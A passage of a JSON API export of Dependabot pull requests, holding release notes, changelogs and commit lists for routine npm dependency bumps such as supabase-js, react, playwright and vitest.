href=\"https://github.com/cloudflare/workers-sdk/commit/37ab91c639062dda2acd12f02df4ee49e67ba56f\"\u003e\u003ccode\u003e37ab91c\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/0ae7926b77d860a4330448c6cc398946b6797f3d\"\u003e\u003ccode\u003e0ae7926\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"mailto:miniflare@5.20261019.0-beta\"\u003eminiflare@5.20261019.0-beta\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ewrangler@4.151.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15541\"\u003e#15541\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/e13d5ccf0555e4b2af29255165237bbb17825b39\"\u003e\u003ccode\u003ee13d5cc\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mack-erel\"\u003e\u003ccode\u003e@​mack-erel\u003c/code\u003e\u003c/a\u003e! - Keep remote dev sessions alive through transient network failures\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/7d5765963616b90aa4c15d43e800fd7d65349270\"\u003e\u003ccode\u003e7d57659\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16358\"\u003e#16358\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/017bf9b5117a8a511f4ed2c10dd2bd0b80b24c31\"\u003e\u003ccode\u003e017bf9b\u003c/code\u003e\u003c/a\u003e chore(vitest): migrate remaining workspace tests to v5 (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16259\"\u003e#16259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/61fc7397b2982db1c9b099cbeaee3fd0428fdf8a\"\u003e\u003ccode\u003e61fc739\u003c/code\u003e\u003c/a\u003e [wrangler] Fetch the remote config diff from the configured compliance region...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/a88cac4d880629a4ad68f7173b3353941bea6081\"\u003e\u003ccode\u003ea88cac4\u003c/code\u003e\u003c/a\u003e [wrangler] Fail with an error instead of hanging under Bun (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/15846\"\u003e#15846\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/45081725e9e5cb79b76ade277a7e61395cb55950\"\u003e\u003ccode\u003e4508172\u003c/code\u003e\u003c/a\u003e [wrangler] Support named-only module Workers in dev (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/15611\"\u003e#15611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/601ca30f885731415bb32e29c07510734f842934\"\u003e\u003ccode\u003e601ca30\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16313\"\u003e#16313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/89cc3c75033090a0159843bc317381f589cde8aa\"\u003e\u003ccode\u003e89cc3c7\u003c/code\u003e\u003c/a\u003e [wrangler] Fix deploy warning snapshots (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16353\"\u003e#16353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/fc51b96c7f9952e46a6ceee6dfce22d004e539a8\"\u003e\u003ccode\u003efc51b96\u003c/code\u003e\u003c/a\u003e De-centralize CLI specific messaging (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16225\"\u003e#16225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/e7f9e4e99b0674b5e83999fd61cd096831611f4f\"\u003e\u003ccode\u003ee7f9e4e\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/16287\"\u003e#16287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/4a5377fc228dd94aa5df7545c8185cdd98be733e\"\u003e\u003ccode\u003e4a5377f\u003c/code\u003e\u003c/a\u003e [wrangler] Hide unusable dev hotkeys under Turborepo (\u003ca href=\"https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler/issues/13742\"\u003e#13742\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/cloudflare/workers-sdk/commits/wrangler@4.151.3/packages/wrangler\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/johnmlilly/francisroylilly/pull/41","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/johnmlilly%2Ffrancisroylilly/issues/41","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/41/packages"},{"uuid":"6005960618","node_id":"PR_kwDOT6GvYc8AAAABKWiPwg","number":350,"state":"open","title":"chore: bump the minor-and-patch group across 1 directory with 9 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T21:49:14.000Z","updated_at":"2026-10-23T21:50:15.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore: bump","group_name":"minor-and-patch","update_count":9,"packages":[{"name":"@supabase/supabase-js","old_version":"2.117.2","new_version":"2.118.0","repository_url":"https://github.com/supabase/supabase-js"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@playwright/test","old_version":"1.63.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@types/node","old_version":"26.6.3","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"pg","old_version":"8.23.0","new_version":"8.23.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"prettier","old_version":"3.9.9","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"supabase","old_version":"2.118.0","new_version":"2.121.0","repository_url":"https://github.com/supabase/cli"},{"name":"vitest","old_version":"5.0.2","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@supabase/supabase-js](https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js) | `2.117.2` | `2.118.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.63.0` | `1.64.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.3` | `26.6.5` |\n| [pg](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg) | `8.23.0` | `8.23.1` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.9` | `3.9.10` |\n| [supabase](https://github.com/supabase/cli/tree/HEAD/apps/cli) | `2.118.0` | `2.121.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.2` | `5.0.5` |\n\n\nUpdates `@supabase/supabase-js` from 2.117.2 to 2.118.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/releases\"\u003e@​supabase/supabase-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.118.0\u003c/h2\u003e\n\u003ch2\u003e2.118.0 (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estorage:\u003c/strong\u003e add content-encoding support for uploads (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/1949\"\u003e#1949\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAtharv Gaur \u003ca href=\"https://github.com/Athaxv\"\u003e\u003ccode\u003e@​Athaxv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFerhat Elmas\u003c/li\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.118.0-canary.2\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.2 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only, there were no code changes.\u003c/p\u003e\n\u003ch2\u003ev2.118.0-canary.1\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.1 (2026-10-12)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only, there were no code changes.\u003c/p\u003e\n\u003ch2\u003ev2.118.0-canary.0\u003c/h2\u003e\n\u003ch2\u003e2.118.0-canary.0 (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.117.3\u003c/h2\u003e\n\u003ch2\u003e2.117.3 (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump next to patch RCE in realtime-js example (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2733\"\u003e#2733\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003efunctions:\u003c/strong\u003e send a Blob or File with its own content type (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2714\"\u003e#2714\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/supabase-js/blob/master/packages/core/supabase-js/CHANGELOG.md\"\u003e@​supabase/supabase-js's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.118.0 (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003epostgrest:\u003c/strong\u003e leave computed fields out of select('*') and resolve no-argument rpc overloads for postgrest-typegen output (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2730\"\u003e#2730\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLukas Klingsbo\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.117.3 (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003estorage:\u003c/strong\u003e send multipart fields before files (\u003ca href=\"https://redirect.github.com/supabase/supabase-js/pull/2736\"\u003e#2736\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFerhat Elmas\u003c/li\u003e\n\u003cli\u003eKaterina Skroumpelou \u003ca href=\"https://github.com/mandarini\"\u003e\u003ccode\u003e@​mandarini\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/b9753a1e3a8ad867b5c1dbefaf9a5a41cd4ce147\"\u003e\u003ccode\u003eb9753a1\u003c/code\u003e\u003c/a\u003e feat(postgrest): leave computed fields out of select('*') and resolve no-argu...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/88faa11124008a5feedf10538b9ddd9d1a55d448\"\u003e\u003ccode\u003e88faa11\u003c/code\u003e\u003c/a\u003e fix(ci): patch next and sharp advisories and pin node-browser playwright (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2753\"\u003e#2753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/aac9d32536ef190f7c5eb5a8128cce14e0c71d4d\"\u003e\u003ccode\u003eaac9d32\u003c/code\u003e\u003c/a\u003e chore(release): version 2.117.3 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2744\"\u003e#2744\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/4d23055805ce2cf853686b704cfaec1a701d29c6\"\u003e\u003ccode\u003e4d23055\u003c/code\u003e\u003c/a\u003e fix(storage): send multipart fields before files (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2736\"\u003e#2736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/a684cf97b67fd71670bab5030fe88b219f2c09fe\"\u003e\u003ccode\u003ea684cf9\u003c/code\u003e\u003c/a\u003e chore(release): version 2.117.2 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2707\"\u003e#2707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/supabase/supabase-js/commits/v2.118.0/packages/core/supabase-js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.63.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.64.0\u003c/h2\u003e\n\u003ch2\u003e🧰 WebMCP\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-page#page-webmcp\"\u003epage.webmcp\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-frame#frame-webmcp\"\u003eframe.webmcp\u003c/a\u003e give access to the tools that a page registers through the experimental \u003ca href=\"https://playwright.dev/docs/api/class-webmcp\"\u003eWebMCP\u003c/a\u003e browser API, so you can test them like any other part of your app:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst browser = await chromium.launch({ args: ['--enable-features=WebMCP'] });\r\nconst page = await browser.newPage();\r\nawait page.goto('https://example.com');\r\n\u003cp\u003efor (const tool of await page.webmcp.tools())\nconsole.log(tool.name, tool.description);\u003c/p\u003e\n\u003cp\u003econst result = await page.webmcp.callTool('add', { a: 2, b: 40 });\nconsole.log(result.content[0].text); // \u0026quot;42\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-mcp\"\u003ePlaywright MCP\u003c/a\u003e also supports WebMCP by default, with page-defined tools offered to the agent as \u003ccode\u003ewebmcp_\u0026lt;tool\u0026gt;\u003c/code\u003e. Pass \u003ccode\u003e--no-webmcp\u003c/code\u003e to opt out.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-cli\"\u003e\u003ccode\u003eplaywright-cli\u003c/code\u003e\u003c/a\u003e exposes them as well:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eplaywright-cli webmcp-list\r\nplaywright-cli webmcp-call search_catalog --params '{\u0026quot;query\u0026quot;:\u0026quot;cats\u0026quot;}'\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e🎬 Better videos\u003c/h2\u003e\n\u003cp\u003eVideos can now be recorded at a custom frame rate, and the decorations for actions are styled with plain CSS:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// playwright.config.ts\r\nimport { defineConfig } from '@playwright/test';\r\n\u003cp\u003eexport default defineConfig({\nuse: {\nvideo: {\nmode: 'on',\nsize: { width: 1920, height: 1080 },\nfps: 60,\nshow: {\nactions: {\nstyle: {\npoint: 'width: 20px; height: 20px; border-radius: 50%; background: red',\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/606ecd8b34bac100db32561b6278ffd76e5eb3cd\"\u003e\u003ccode\u003e606ecd8\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43192\"\u003e#43192\u003c/a\u003e): fix(locators): parse locators the way the client API bui...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e4f872c79530583300185d3e4aa9689e2f85d0b0\"\u003e\u003ccode\u003ee4f872c\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43188\"\u003e#43188\u003c/a\u003e): feat(api): expose asLocatorDescription via LocalUtils fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/f6a439e6f496f75d8e8b687116eef8c21316aa1f\"\u003e\u003ccode\u003ef6a439e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43189\"\u003e#43189\u003c/a\u003e): docs(webmcp): expose WebMCP to all languages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e2335c30f16196a96f81c099598803ca74f9120c\"\u003e\u003ccode\u003ee2335c3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43174\"\u003e#43174\u003c/a\u003e): fix(mcp): do not close the browser twice when the client...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d2a436e0111091ba99836fa6711de28201606cfc\"\u003e\u003ccode\u003ed2a436e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43163\"\u003e#43163\u003c/a\u003e): Revert \u0026quot;fix(blob): do not remove existing reports from o...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.63.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.3 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca 